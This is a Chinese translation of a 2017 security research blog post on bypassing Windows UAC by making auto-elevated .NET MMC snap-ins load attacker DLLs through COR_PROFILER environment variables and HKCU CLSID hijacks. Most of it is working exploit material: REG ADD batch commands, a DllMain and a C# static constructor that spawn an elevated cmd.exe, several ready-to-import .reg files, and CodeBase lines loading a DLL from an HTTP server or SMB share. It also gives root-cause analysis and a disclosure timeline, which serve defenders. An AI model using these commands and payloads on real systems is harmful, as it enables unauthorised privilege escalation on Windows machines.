漏洞分析程序员

翻译:通过.NET程序提权绕过UAC

2017-09-21  本文已影响23人  anhkgg

.NET框架可以通过用户自定义环境变量和CLSID注册表项来加载profiler DLL或者COM组件DLL,甚至当前进程是提权的。这种行为可以被利用来绕过Windows 7到10(包括最近的RS3)系统的默认UAC设置,如通过自动提权.NET进程(MMC管理单元)来加载任意的DLL。

介绍

去年五月, Casey Smith在他的博客和Twitter上指出.NET分析器的DLL加载可能会被滥用,通过环境变量使合法的.NET程序加载一个恶意DLL

当看到这一点,脑海中第一种想法就是,如果这个方法在高权限.NET进程也可以工作,那这将是一个绕过UAC的好办法。果然,确实如此。

这个问题到写这篇博客时依然没有修复,而且可能一直如此——但是在7月,它被 Stefan Kanthak独立地发现并报告了,按完整披露流程公布了该问题。

绕过UAC

要让一个.NET应用程序加载任意一个DLL,我们可以使用以下环境变量。

COR_ENABLE_PROFILING=1
COR_PROFILER={GUID}
COR_PROFILER_PATH=C:\path\to\some.dll

在.NET 4以下版本,CLSID必须在HKCR\CLSID{GUID}\InprocServer32定义包含profiling DLL的路径的注册表键。在最近版本中,CLR通过COR_PROFILER_PATH环境变量来找这个DLL,如果COR_PROFILER_PATH没有定义再使用CLSID查找。

HKCR\CLSID是HKLM和HKCU下Software\Classes\CLSID组合起来显示的。在HKLM(或者系统环境变量)下创建CLSID键需要提权,而在HKCU下创建不需要。需要注意,在用户环境变量和HKCU注册表项下一切也都工作正常。

可以简单使用一段批处理命令让它工作:

REG ADD "HKCU\Software\Classes\CLSID\{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}\InprocServer32" /ve /t REG_EXPAND_SZ /d "C:\Temp\test.dll" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER" /t REG_SZ /d "{FFFFFFFF-FFFF-FFFF-FFFF-FFFFFFFFFFFF}" /f
REG ADD "HKCU\Environment" /v "COR_ENABLE_PROFILING" /t REG_SZ /d "1" /f
REG ADD "HKCU\Environment" /v "COR_PROFILER_PATH" /t REG_SZ /d "C:\Temp\test.dll" /f
mmc gpedit.msc

这些命令在低权限命令行下可以在高权限的mmc.exe进程中加载C:\temp\test.dll(如果存在)。可以绕过Windows 7到10(包括最新RS3)系统的默认UAC设置。

net-bypass-uac-1.png

内嵌DLL的powershell POC可以在这里找到(只支持X64)。

这个DLL只在DLL_PROCESS_ATTACH下运行一个cmd.exe,会产生一个提权的命令行终端,然后马上退出当前进程,阻止MMC控制台弹出。

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
    char cmd[] = "cmd.exe";

    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        WinExec(cmd, SW_SHOWNORMAL);
        ExitProcess(0);
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

在Windows 7,8.1,10 1703和10 RS3 build 16275中测试通过。
当然,如果你有可访问的SMB共享,UNC路径也可以工作。

COR_PROFILER_PATH=\\server\share\test.dll

根本原因

COM运行时在运行高权限进程时会阻止在HKCU查找CLSID,所以这种绕过方式无效,但是.NET运行时没有阻止,在这种情况下,.NET在shim组件查找时会查找这些键值。

net-bypass-uac-2.png

如果要修复,需要CLR实现和COM一样的检查。

更多维度

现在我们知道CLR是如何工作的了,我们可以在堆栈中找他CLR调用的其他在HKCU查找CLSID的实例。一个实例是GPEdit(Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager)组件(在我测试虚拟机中CLSID是{B29D466A-857D-35BA-8712-A758861BFEA1})。

net-bypass-uac-3.png

查看HKCU已经存在的项中,好像是指向CLR程序及自己实现的组件。

net-bypass-uac-4.png

我们可以在HKCU下像这样定义一个COM项(.reg格式):

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\Implemented Categories\{62C8FE65-4EBB-45E7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\InprocServer32\10.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v4.0.30319"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{B29D466A-857D-35BA-8712-A758861BFEA1}\ProgId]
@="Microsoft.GroupPolicy.AdmTmplEditor.GPMAdmTmplEditorManager"

MMC会加载我们的托管DLL,并且尝试访问TestDotNet.Class1类。C#没有一种简单的创建入口是DllMain的简单DLL(我们很懒所以不想写模块初始化),但是貌似注册表指向的类被加载了,所以我们只需要一个静态构造函数来执行我们的提权代码。

using System;
using System.Diagnostics;

namespace TestDotNet
{
   public class Class1
   {
      static Class1()
      { 
         Process.Start("cmd.exe");
         Environment.Exit(0);
      }
   }
}

将DLL放在注册表项定义的位置,然后运行gpedit.msc,可以看到弹出了一个提权的终端(和.NET一样)。

net-bypass-uac-5.png net-bypass-uac-6.png

这种方式一个有趣的点是CodeBase不仅限于本地文件和SMB共享,这个DLL还可以从HTTP链接中加载。

"CodeBase"="http://server:8080/test_managed.dll"

需要注意的是下载的DLL会拷贝到硬盘上,所以这种方式比本地DLL更好检测(硬盘+网络组合)。

另外一件好事(对攻击者)是这种方式下可以滥用多种CLSID。
下面是在compmgmt.msc,event、vwr.msc,secpol.msc和taskschd.msc可使用CLSID:

  1. 托管DLL的Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactor组件
net-bypass-uac-7.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}]
@="Microsoft.ManagementConsole.Advanced.FrameworkSnapInFactory"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\Implemented Categories\{62C8FE65-4EBB-45e7-B440-6E39B2CDBF29}]

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"ThreadingModel"="Both"
"CodeBase"="file://C://Temp//test_managed.dll"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{D5AB5662-131D-453D-88C8-9BBA87502ADE}\InprocServer32\3.0.0.0]
"Assembly"="TestDotNet, Version=0.0.0.0, Culture=neutral"
"Class"="TestDotNet.Class1"
"RuntimeVersion"="v2.0.50727"
"CodeBase"="file://C://Temp//test_managed.dll"
  1. Native DLL的NDP SymBinder组件,劫持\Server项
net-bypass-uac-8.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}]
@="NDP SymBinder"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\ProgID]
@="CorSymBinder_SxS"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\Server]
@="C:\\Temp\\test_unmanaged.dll"
  1. Native DLL的Microsoft Common Language Runtime Meta Data组件,劫持\Server项(只有secpol.msc可用)
net-bypass-uac-9.png
Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}]
@="Microsoft Common Language Runtime Meta Data"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32]
@="C:\\Windows\\System32\\mscoree.dll"
"ThreadingModel"="Both"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\InprocServer32\4.0.30319]
@="4.0.30319"
"ImplementedInThisVersion"=""

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\ProgID]
@="CLRMetaData.CorRuntimeHost.2"

[HKEY_CURRENT_USER\Software\Classes\CLSID\{CB2F6723-AB3A-11D2-9C40-00C04FA30A3E}\Server]
@="..\\..\\..\\..\\Temp\\test_unmanaged.dll"

(注意:路径必须是相对的,否则mmc.exe会尝试加载C:\Windows\Microsoft.NET\Framework64\v4.0.30319\C:\Temp\test_unmanaged.dll)

不是安全边界

微软多次申明UAC不是一个安全边界,安全从业者以更务实的角度来看它:不要信任UAC,不要用admin运行,用非admin用户运行不需要admin的任务,我非常赞同这种说法。

但是依然很多人用admin运行所有的东西,他们都是渗透测试人员和红色组织(都是坏人)感兴趣的目标。所以我猜测还会有新的关于UAC的有趣技术。

如果为了渗透测试,我推荐使用@tiraniddo的例子一个已经实现另一个也快来了),它不需要加载DLL,并且目前大部分EDR解决方案还不能捕获它。

另外,如果你也在研究绕过UAC,这个主题外有很多资源,但是下面的必须读一下:

非常感谢Casey Smith(@subtee)指出.NET profiler DLL技巧,并且感谢对微软开发者找到根本原因给予的帮助,谢谢Matt Graeber (@mattifestation) 的意见和review。

进展时间

2017-05-19 发现bypass
2017-05-20 给MSRC发邮件 (cc'ing an MS dev as suggested by @mattifestation)
2017-05-22 MSRC创建主题 #38811
2017-05-20/23 和 MS dev讨论
2017-06-24 MSRC回复: "We have finished our investigation and determined this does not meet the bar for servicing downlevel. UAC is not a security boundary."
2017-07-05 Stefan Kanthak绕过方案的完整披露
2017-09-15 发表本篇文章

文章来源:https://offsec.provadys.com/UAC-bypass-dotnet.html

转载请注明:http://anhkgg.com/tans-net-bypass-uac/

上一篇下一篇

猜你喜欢

热点阅读